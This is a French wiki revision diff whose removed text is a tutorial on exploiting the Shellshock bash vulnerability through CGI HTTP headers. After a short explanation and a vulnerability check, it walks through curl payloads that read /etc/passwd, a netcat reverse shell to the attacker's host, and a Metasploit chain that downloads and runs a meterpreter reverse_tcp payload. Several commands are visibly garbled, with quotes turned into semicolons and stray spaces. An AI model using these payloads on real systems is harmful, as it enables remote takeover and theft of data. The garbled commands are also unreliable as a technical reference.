Outils pour utilisateurs

Outils du site


appsysteme:bash_-_shellshock

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

appsysteme:bash_-_shellshock [2016/01/30 21:39]
arkinar
appsysteme:bash_-_shellshock [2016/07/04 08:38]
Ligne 1: Ligne 1:
-**ShellShock** 
  
-{{ :​appsysteme:​shellshock1.jpg?​nolink |}} 
- 
-Qui n'a pas entendu parler de la faille shellshock ? 
- 
-**Présentation :** 
- 
-Shellshock, est une vulnérabilité logicielle présente dans le shell Unix bash. 
- 
-La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. 
- 
-Elle est aussi appelé Bashdoor et a été découverte en septembre 2014. 
- 
-__Explication__ 
- 
-Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'​exécution sont identiques à l'​utilisateur,​ système ou non. 
- 
-Le problème est que : 
- 
-De nombreux programmes utilisent le shell par défaut pour passer des variables d'​environnement entre leurs processus. Le contexte change  : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants. 
- 
-Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. 
- 
-Voici un petite ligne de code pour voir si vous êtes vulnérable : 
- 
-env x='() { :;}; echo vulnérable'​ bash -c "echo ceci est un test" 
- 
-Si elle vous renvoi : "​Vulnérable"​ 
- 
-C'est que vous l'​êtes. 
- 
-source : [[http://​linuxfr.org/​news/​une-faille-nommee-shellshock]] 
- 
-**Exploitation** 
- 
-Le principe est d'​envoyer des commandes à distance dans les entêtes HTTP pour qu'​elle soit interpréter par le serveur. 
- 
-Commençons simplement : 
- 
-curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com 
- 
-curl est une commande linux permettant de forger des requêtes HTTP.  
- 
-L'​option -H permet de personnaliser l'​entête HTTP avant qu'​elle soit envoyées au serveur. 
- 
-() { :; }; est le morceau de la commande qui permet de faire passer notre commande à la variable d'​environnement /bin/eject permet d'​ouvrir le lecteur cd du serveur vulnérable (je sais que c'est pas un exploit extraordinaire mais c'est un bon début. 
- 
-Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject 
- 
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/ cat /​etc/​passwd; ​ 
-http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-Cette commande quand à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​ 
- 
-L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera contenu dans la requête HTTP. 
- 
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-Cette commande nous donne l'​identifiant du compte sur lequel on exécute les commandes. 
- 
-Pour prendre la main complète sur le serveur 2 options s'​offrent à nous : 
- 
-__La première avec Netcat__ 
- 
-Netcat est un utilitaire permettant d'​ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : 
- 
- nc -l 333 
- 
-L'​option -l permet d'​écouter sur le port 333 (c'est bien un L et non I majuscule) 
- 
-Dans un autre terminal : 
- 
-curl -A ;() { :;}; /bin/nc -e /bin/sh http://​mon_serveur/​ 333; http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'​option -e 
- 
-Vous avez désormais la main sur la machine avec les droits de l'​utilisateur qui gère le web. 
- 
-Source : [[https://​www.youtube.com/​watch?​v=8H_bYZaXLko]] 
- 
-__La seconde solution avec Metasploit__ 
- 
-Pour cette solution nous aurons besoin du framework Metasploit et de Apache. 
- 
-Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon bouquin dessus pour ceux que sa intéresse. 
- 
-On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur 
- 
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-Généralement dans le dossier personnel de l'​utilisateur avec lequel on exécute les commandes. 
- 
-Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. 
- 
-Il permet de générer des payloads(exécutable qui va nous permettre dans notre cas d'​établir la connexion inverse) 
- 
-Pour le générer : 
- 
-msfpayload linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.1.1 LPORT=4443 ​ 
- 
-Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. 
- 
-LHOST : LOCAL HOST : est votre adresse ip 
- 
-LPORT : LOCAL PORT :  est le port sur lequel votre machine va écouter. 
- 
-Toutes ces informations nous les envoyons dans un fichier nommé lbdoor. 
- 
-Démarrer votre service apache : 
- 
-/​etc/​init.d/​apache2 start 
- 
-Copier le fichier lbdoor dans /var/www/ 
- 
-Nous allons le télécharger sur le serveur de la vulnérable : 
- 
-curl -A;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-On lui ajoute les droits d’exécution : 
- 
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-{{ :​appsysteme:​metasploit_shellshock.png?​nolink |}} 
- 
-On ouvre Metasploit : 
- 
-msfconsole 
- 
-On sélectionne le module qui nous permettra d’écouter les connexions entrante : 
- 
-use exploit/​multi/​handler 
- 
-On lui stipule qu'​elle type de connexion il doit attendre : 
- 
-set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp 
- 
-On lui stipule sur qu'​elle host il doit attendre la connexion : 
- 
-set LHOST 192.168.1.1 
- 
-On lui stipule sur qu'​elle port il doit attendre la connexion : 
- 
-set LPORT 4443 
- 
-Et on exécute : 
- 
-run 
- 
-Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. 
- 
-A cette étape vous devriez avoir cela : 
- 
-{{ :​appsysteme:​connexion_metasploit-3.png?​nolink |}} 
- 
- 
-Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable:​ 
- 
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status 
- 
-Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. 
- 
-{{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}} 
- 
- 
-Vous avez désormais accès à une session meterpreter sur la machine distante. 
- 
-Si vous souhaitez obtenir un terminal , il vous suffis de taper "​shell"​ 
- 
-{{ :​appsysteme:​meterpreter.jpg?​nolink |}} 
- 
-L'​outil meterpreter est puissant il embarque toute une multitude de code pour le post exploitation. 
- 
-Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]] 
- 
-Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]] 
appsysteme/bash_-_shellshock.txt · Dernière modification: 2016/07/04 08:38 (modification externe)